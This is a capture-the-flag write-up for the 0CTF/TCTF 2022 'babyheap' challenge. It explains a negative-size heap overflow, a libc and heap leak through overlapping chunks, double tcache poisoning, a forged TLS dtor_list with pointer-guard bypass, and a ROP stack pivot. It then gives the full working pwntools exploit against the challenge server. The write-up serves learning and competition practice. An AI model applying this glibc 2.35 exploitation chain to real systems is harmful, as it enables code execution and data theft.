Tags: libc-2.35 heap 

Rating:

Babyheap

was a pwn challenge from 0CTF/TCTF 2022 edition

This challenge is typical note app with vuln.

A heap challenge based on libc-2.35 , last ubuntu 22.04 libc at the time of writing..

so no hooks..

classic menu from early classical ctf period.. heap

The program has a seccomp in place, that limit us to open/read/write ROP, no execve..so no one-gadgets too.. seccomp

Bug

Bug is at Update function below. We can pass negative value to this Size and earn almost unlimited heap overflow.

  else {
    printf("Size: ");
    lVar2 = r_get_int();
    if (*(long *)(param_1 + (long)(int)uVar1 * 0x18 + 8) < lVar2) {
      puts("Invalid Size");
    }
    else {
      printf("Content: ");
      get_bytes(*(undefined8 *)(param_1 + (long)(int)uVar1 * 0x18 + 0x10),lVar2);
      printf("Chunk %d Updated\n",(ulong)uVar1);
    }
  }
  return;

Exploit: leak

Since no UAF & null terminated inputs, we chose to create overlap chunk to get leak. The plan is as follows.

  1. Arrange the chunks as below.
  2. Free #4 to consolidate chunk with #1
  3. Alloc some chunks to overlap main_arena's address and #3
  4. free #6 to chain unsortedbin for heap leak
  5. view #2 to leak libc + heap
Chunk #0    [ALLOC] <-- to edit #1 header
Chunk #1    [FREE ] <-- unsortedbin with fake header
Chunk #2    [ALLOC] <-- for leak
Chunk #3    [ALLOC] <-- for tcache poisoning
Chunk #4    [ALLOC] <-- make prev inuse: false
Chunk #5    [ALLOC] <-- guard chunk
Chunk #6    [ALLOC] <-- bigger than 0x420
Chunk #7    [ALLOC] <-- guard chunk
Chunk #8-15 [FREE ] <-- fill tcache

Exploit: do the tcache poisonning dance two times..

So for exploitation we will use a classical tcache poisonning attack, wich is easy with heap overflow.

We just have to free at least 2 chunks… then overwrite their fd pointer with the heap overflow.

We will reuse the same method to achieve code execution than in ezvm challenge from this ctf.

https://github.com/nobodyisnobody/write-ups/tree/main/0CTF.TCTF.2022/pwn/ezvm

We will create a fake dtor_list table in tls-storage zone just before libc.

the call_tls_dtors() will also permit us to set rdx register,

we will use a very usefull gadget in libc, to pivot stack on rdx

libc.address + 0x000000000005a170 # mov rsp, rdx ; ret

instead of calling system like in ezvm challenge , we will setup rdx to point to our rop,

and will call the mov rsp,rdx gadget with out fake dtor_list table

our ROP is a classic open / read / write rop

that will dump the flag.

For using this method ,we need two writes:

  • one to erase the random value that is used for calculating mangled value as fs:0x30
  • another to write our fake dtor_list table and our rop

so we will do tcache poisonning attack two times…

then we exit the program, that will execute our rop at exit time… and dump the flag.

gotflag

here is the exploit code commented(more or less):

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.arch = 'amd64'
context.log_level = 'error'

TARGET = './babyheap'
HOST = '47.100.33.132'
PORT = 2204

elf = ELF(TARGET)
libc = ELF('./libc.so.6')

if not args.REMOTE:
  r = process(TARGET)
else:
  r = remote(HOST, PORT)


def a(size, data):
    r.sendlineafter(b'mand: ', b'1')
    r.sendlineafter(b'Size: ', str(size).encode())
    r.sendlineafter(b'tent: ', data)

def e(idx, data, size=-1):
    r.sendlineafter(b'mand: ', b'2')
    r.sendlineafter(b'ndex: ', str(idx).encode())
    r.sendlineafter(b'Size: ', str(size).encode())
    r.sendlineafter(b'tent: ', data)

def d(idx):
    r.sendlineafter(b'mand: ', b'3')
    r.sendlineafter(b'ndex: ', str(idx).encode())

def v(idx):
    r.sendlineafter(b'mand: ', b'4')
    r.sendlineafter(b'ndex: ', str(idx).encode())

# function to rotate left
rol = lambda val, r_bits, max_bits: \
    (val << r_bits%max_bits) & (2**max_bits-1) | \
    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

#----------------------------------------------------

a(0xf8, b'11111111')
a(0xf8, b'22222222')
a(0x48, b'33333333') #2
a(0x48, b'44444444') #3
a(0x48, b'........') #4
a(0x48, b'........') #5
a(0xf8, b'55555555')
a(0x28, b'66666666')
for i in range(7):
    a(0xf8, b'a')

for i in range(7):
    d(14-i)

a(0x418, b'cccccccc') #8
a(0x18, b'cccccccc')

d(1)
e(0, b'!'*0xf8+p64(0x241)[:-1])
e(5, b'!'*0x40+p64(0x240))

d(6)
a(0x78, b'aaaaaaaa')
a(0x78, b'bbbbbbbb')

d(8)
v(2)
r.recvuntil(b'[2]: ')
leak = u64(r.recv(8))
print(f"leak: {leak:x}")
libc.address = leak - 0x219ce0
stdout = libc.sym['_IO_2_1_stdout_']
environ = libc.sym['environ']
leak = u64(r.recv(8))
print(f"leak: {leak:x}")
heap = leak - 0xe00
def mangle(v):
    return v ^ (heap >> 12)

rop = ROP(libc)

print(f"base: {libc.address:x}")
print(f"heap: {heap:x}")

payload = b''
payload += b'@'*0xf8
payload += flat(0x81)
payload += b'@'*0x78
payload += flat(0x81)
payload += b'@'*0x78

payload += flat(0x51)
payload += b'2'*0x48
payload += flat(0x51)
payload += b'3'*0x48
payload += flat(0x51)
payload += b'4'*0x48
payload += flat(0x51)
payload += b'5'*0x48
payload += flat(0x81)[:-1]

e(0, payload)
d(3)
d(2)

payload = b''
payload += b'@'*0xf8
payload += flat(0x81)
payload += b'@'*0x78
payload += flat(0x81)
payload += b'@'*0x78

payload += flat(0x51)
#payload += p64(mangle(stdout))
payload += p64(mangle(libc.address - 0x2920))
payload += b'2'*0x40
payload += flat(0x51)
payload += p64(mangle(0))
payload += b'3'*0x40
payload += flat(0x51)
payload += b'4'*0x48
payload += flat(0x51)
payload += b'5'*0x48
payload += flat(0x81)[:-1]

over1 = b''
over1 += p64(0)*5+p64(0x101)+p64( (libc.address-0x2890)^((heap+0x710)>>12) )
e(7,over1)
e(0, payload)

#---------------------------------------------------------------
# gagdets from libc
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rax_rdx_rbx = libc.address + 0x0000000000090528 # pop rax ; pop rdx ; pop rbx ; ret
pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
xchg_eax_edi = libc.address + 0x000000000014a385 # xchg eax, edi ; ret
xchg_eax_edx = libc.address + 0x00000000000cea5a # xchg eax, edx ; ret
syscall = libc.address + 0x0000000000091396 # syscall; ret;

a(0xf8, b'a1a1')
ropa = libc.address - 0x2890
# our final ROP thant will dump the flag
myrop= b''
# open(fname,O_RDONLY)  (8 qwords)
myrop += p64(0)+p64(pop_rdi)+p64(ropa+(29*8))+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
# read(fd,buff,256)   (8 qwords)
myrop += p64(xchg_eax_edi)+p64(pop_rsi)+p64(ropa+0x200)+p64(pop_rax_rdx_rbx)+p64(0)+p64(0x200)+p64(0)+p64(syscall)
# write(fd,buff,256)   (8 qwords)
myrop += p64(xchg_eax_edx)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(ropa+0x200)+p64(pop_rax)+p64(1)+p64(syscall)
#myrop += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(ropa-0x200)+p64(pop_rax_rdx_rbx)+p64(1)+p64(0x100)+p64(0)+p64(syscall)
# exit()   (5 qwords)
myrop += p64(pop_rax_rdx_rbx)+p64(60)+p64(0)+p64(0)+p64(syscall)
if args.REMOTE:
  myrop += b'/flag\x00'
else:
  myrop += b'flag.txt\x00'

#----------------------------------------------------
# prepare our rop
a(0xf8, myrop)

# gadget we will use to pivot on ROP
gadget0 = libc.address + 0x000000000005a170 # mov rsp, rdx ; ret

# trigger
a(0x48, b'aaaaaaaa')
fake = b''
fake += p64(0)+p64(libc.address-0x2900)+p64(0)*2

# where do we jump, address need to be rotated left 17 bites , we will use a mov rsp,rdx / ret gadget to pivot on stack were we want
fake +=  p64(rol(gadget0,0x11,64))  # where do we jump
fake +=  p64(0xdeadbeef)    # first arg goes in rdi
fake +=  p64(0xdeadbeef)        # 
fake +=  p64(libc.address - 0x2888)        #  arg goes in rdx , so address of our ROP where we pivot ideally ready on heap

a(0x48, fake)
# exit , so our rop will be executed
r.sendlineafter(b'mand: ', b'5')

r.interactive()
r.close()

nobodyisnobody still on the pwn side..

Original writeup (https://github.com/nobodyisnobody/write-ups/tree/main/0CTF.TCTF.2022/pwn/babyheap).